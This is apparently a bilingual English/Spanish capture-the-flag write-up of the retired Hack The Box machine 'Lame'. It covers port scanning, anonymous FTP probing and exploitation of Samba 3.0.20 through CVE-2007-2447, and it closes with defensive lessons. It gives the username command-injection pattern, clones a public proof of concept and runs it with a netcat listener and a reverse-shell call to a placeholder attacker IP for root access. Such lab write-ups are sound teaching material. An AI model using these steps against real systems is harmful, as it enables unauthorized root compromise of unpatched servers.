Lame
Executive summary — Lame is an old Easy Linux box, the very first machine ever retired on Hack The Box. It exposes Samba 3.0.20, vulnerable to CVE-2007-2447 («username map script»): an SMB username with shell metacharacters causes command injection. Since Samba runs as root, execution is direct root — no escalation afterwards. A single hop: Samba → Root.
| Platform | Hack The Box |
| Operating system | Linux |
| Difficulty | Easy |
| Status | Retired |
| Target IP | 10.129.23.46 |
Attack map
[21,22,139,445,3632] Recon: anonymous FTP, SSH, Samba, distccd
│ The surface is noisy, but there's only one strong lead
▼
[139/445] Samba smbd 3.0.20-Debian
│ CVE-2007-2447 — «username map script»: command injection via the SMB username
▼
[ROOT] Samba runs as root → direct root shell (no privesc)
1. Initial setup and recon
Before scanning, we add the machine to /etc/hosts so we can refer to it by name instead of repeating the IP in every command:
echo "10.129.23.46 lame.htb" | sudo tee -a /etc/hosts
We check basic connectivity with a ping before running the port scan:
ping -c 1 lame.htb
Why the TTL matters: besides confirming the box responds, the response's TTL gives an early hint about the OS. Linux usually sits near
64; Windows near128. Not conclusive, but it steers enumeration.
nmap -sC -sV lame.htb
21/tcp open ftp vsftpd 2.3.4
22/tcp open ssh
139/tcp open netbios-ssn
445/tcp open netbios-ssn Samba smbd 3.0.20-Debian
3632/tcp open distccd
The key clue isn't the number of open ports, but the Samba version: 3.0.20-Debian. It dates back to 2007 and carries a well-known, well-documented RCE.
Resumen ejecutivo — Lame es un Linux Easy antiguo, la primera máquina retirada de Hack The Box. Expone Samba 3.0.20, vulnerable a CVE-2007-2447 («username map script»): un nombre de usuario SMB con metacaracteres de shell provoca inyección de comandos. Como Samba corre como root, la ejecución es directa como root — sin escalada posterior. Un solo salto: Samba → Root.
| Plataforma | Hack The Box |
| Sistema operativo | Linux |
| Dificultad | Easy |
| Estado | Retired |
| IP objetivo | 10.129.23.46 |
Mapa del ataque
[21,22,139,445,3632] Reconocimiento: FTP anónimo, SSH, Samba, distccd
│ La superficie es ruidosa, pero la pista fuerte es una sola
▼
[139/445] Samba smbd 3.0.20-Debian
│ CVE-2007-2447 — «username map script»: inyección de comandos vía el usuario SMB
▼
[ROOT] Samba corre como root → shell directa como root (sin escalada)
1. Preparación y reconocimiento inicial
Antes de escanear, añadimos la máquina a /etc/hosts para poder referirnos a ella por nombre en vez de repetir la IP en cada comando:
echo "10.129.23.46 lame.htb" | sudo tee -a /etc/hosts
Comprobamos conectividad básica con un ping antes de lanzar el escaneo de puertos:
ping -c 1 lame.htb
Por qué importa el TTL: además de confirmar que la máquina responde, el TTL de la respuesta da una primera pista del sistema operativo. En Linux suele verse cercano a
64; en Windows, cercano a128. No es una prueba definitiva, pero orienta la enumeración.
nmap -sC -sV lame.htb
21/tcp open ftp vsftpd 2.3.4
22/tcp open ssh
139/tcp open netbios-ssn
445/tcp open netbios-ssn Samba smbd 3.0.20-Debian
3632/tcp open distccd
La pista clave no es la cantidad de puertos abiertos, sino la versión de Samba: 3.0.20-Debian. Es de 2007 y arrastra una RCE conocida y bien documentada.
2. First pass over the surface
Before committing to one vector, we quickly probe the other open services to rule out faster or alternative paths.
ftp lame.htb
# Name: anonymous
# Password: anonymous
Anonymous FTP access works, but exposes nothing useful for the objective on this box.
SSH (port 22) is open, but we have no valid credentials to start with, so it's not the quick path. distccd (port 3632) is also interesting — it carries its own CVE-2004-2687 — but on Lame the most direct, clean path is Samba.
On Easy boxes it pays to quickly rule out noisy surface and focus on the strongest lead. Here, that lead is clearly the Samba version.
3. Identify the vulnerability
searchsploit samba 3.0.20
Samba 3.0.20 < 3.0.25rc3 - 'Username map script' Command Execution ...
What CVE-2007-2447 is: if Samba has
username map scriptconfigured, the username sent by the client is passed to a system script without sanitisation. Putting shell metacharacters in the username (e.g./=`command`) runs that command — and Samba runs as root.
4. Prepare the exploit
We use a public PoC that automates sending the malicious username over SMB:
git clone https://github.com/amriunix/CVE-2007-2447.git
cd CVE-2007-2447
Real gotcha #1: the exploit uses the
pysmblibrary; running it as-is fails withModuleNotFoundError: No module named 'smb'. Fixed by installing the dependency:pip3 install pysmb --break-system-packages.
5. Exploitation → root shell
Before running the exploit we start a listener waiting for the reverse connection:
nc -lvnp 4444
Real gotcha #2: the script requires four positional arguments, not three and not a couple of loose flags. Running it incomplete prints the correct usage:
usage: python usermap_script.py <RHOST> <RPORT> <LHOST> <LPORT>
With all four values in order — target IP, Samba port, our VPN IP and the listener port — the exploit works:
python3 usermap_script.py 10.129.23.46 445 <ATTACKER_IP> 4444
Result — a root shell straight away on the listener:
id
uid=0(root) gid=0(root) groups=0(root)
6. Why it lands directly as root
No escalation needed. The
username map scriptflaw lets us inject an arbitrary command into the system, and that command is executed by the Samba process itself — which on this box runs with root privileges. No credentials, no intermediate shell, no additional local escalation required: correctly exploiting Samba already gives direct root.
7. Flags
cat /home/makis/user.txt
cat /root/root.txt
System fully compromised. 🏴☠️
Vulnerability summary
| Phase | Component | Vulnerability | Impact |
|---|---|---|---|
| Foothold + Root | Samba smbd 3.0.20 | CVE-2007-2447 («username map script» command injection) | Command execution as root |
Lessons learned
- Old software = known RCE. Samba 3.0.20 is from 2007; inventory and update.
- Never pass client input to a script unsanitised (here, the username).
- Services as root: running Samba as root turns an injection into full compromise. Least privilege.
- Fingerprint versions (
-sV+searchsploit): half the box solved. - Rule out noisy surface fast: anonymous FTP, credential-less SSH and distccd were distractions; the strong lead was the Samba version.
- Read a public exploit's usage carefully before running it: one missing positional argument (here, the remote port) gives a usage error, not a failed exploitation attempt.
2. Primer análisis de superficie
Antes de comprometernos con un vector, probamos rápido los demás servicios abiertos para descartar caminos más rápidos o alternativos.
ftp lame.htb
# Name: anonymous
# Password: anonymous
El acceso FTP anónimo funciona, pero no expone nada útil para el objetivo en esta máquina.
SSH (puerto 22) está abierto, pero no tenemos credenciales válidas al inicio, así que no es el camino rápido. distccd (puerto 3632) también es interesante — arrastra su propio CVE-2004-2687 — pero en Lame el vector más directo y limpio es Samba.
En máquinas Easy conviene descartar rápido la superficie ruidosa y centrarse en la pista más fuerte. Aquí, esa pista es sin duda la versión de Samba.
3. Identificar la vulnerabilidad
searchsploit samba 3.0.20
Samba 3.0.20 < 3.0.25rc3 - 'Username map script' Command Execution ...
Qué es CVE-2007-2447: si Samba tiene configurado
username map script, el nombre de usuario que envía el cliente se pasa a un script del sistema sin sanear. Metiendo metacaracteres de shell en el usuario (p. ej./=`comando`), ese comando se ejecuta — y Samba corre como root.
4. Preparar el exploit
Usamos una PoC pública que automatiza el envío del usuario malicioso por SMB:
git clone https://github.com/amriunix/CVE-2007-2447.git
cd CVE-2007-2447
Gotcha real #1: el exploit usa la librería
pysmb; al lanzarlo sin más falla conModuleNotFoundError: No module named 'smb'. Se resuelve instalando la dependencia:pip3 install pysmb --break-system-packages.
5. Explotación → shell de root
Antes de lanzar el exploit dejamos un listener a la espera de la conexión inversa:
nc -lvnp 4444
Gotcha real #2: el script exige cuatro parámetros posicionales, no tres ni un par de flags sueltas. Lanzarlo incompleto devuelve el uso correcto:
usage: python usermap_script.py <RHOST> <RPORT> <LHOST> <LPORT>
Con los cuatro valores en orden — IP objetivo, puerto de Samba, nuestra IP de VPN y puerto del listener — el exploit funciona:
python3 usermap_script.py 10.129.23.46 445 <ATTACKER_IP> 4444
Resultado — shell como root de golpe en el listener:
id
uid=0(root) gid=0(root) groups=0(root)
6. Por qué entra directo como root
No hace falta escalar. El fallo de
username map scriptpermite inyectar un comando arbitrario en el sistema, y ese comando lo ejecuta el propio proceso de Samba — que en esta máquina corre con privilegios de root. No hacen falta credenciales, shell intermedia ni escalada local adicional: la explotación correcta de Samba ya da root directo.
7. Flags
cat /home/makis/user.txt
cat /root/root.txt
Sistema comprometido por completo. 🏴☠️
Resumen de vulnerabilidades
| Fase | Componente | Vulnerabilidad | Impacto |
|---|---|---|---|
| Foothold + Root | Samba smbd 3.0.20 | CVE-2007-2447 («username map script», inyección de comandos) | Ejecución de comandos como root |
Lecciones aprendidas
- Software antiguo = RCE conocida. Samba 3.0.20 es de 2007; inventaria y actualiza.
- Nunca pases input del cliente a un script sin sanear (aquí, el nombre de usuario).
- Servicios como root: correr Samba como root convierte una inyección en compromiso total. Mínimo privilegio.
- Identifica versiones (
-sV+searchsploit): media máquina resuelta. - Descarta superficie ruidosa rápido: FTP anónimo, SSH sin credenciales y distccd eran distracciones; la pista fuerte estaba en la versión de Samba.
- Lee bien el uso de un exploit público antes de lanzarlo: un argumento posicional de menos (aquí, el puerto remoto) da un error de uso, no una explotación fallida.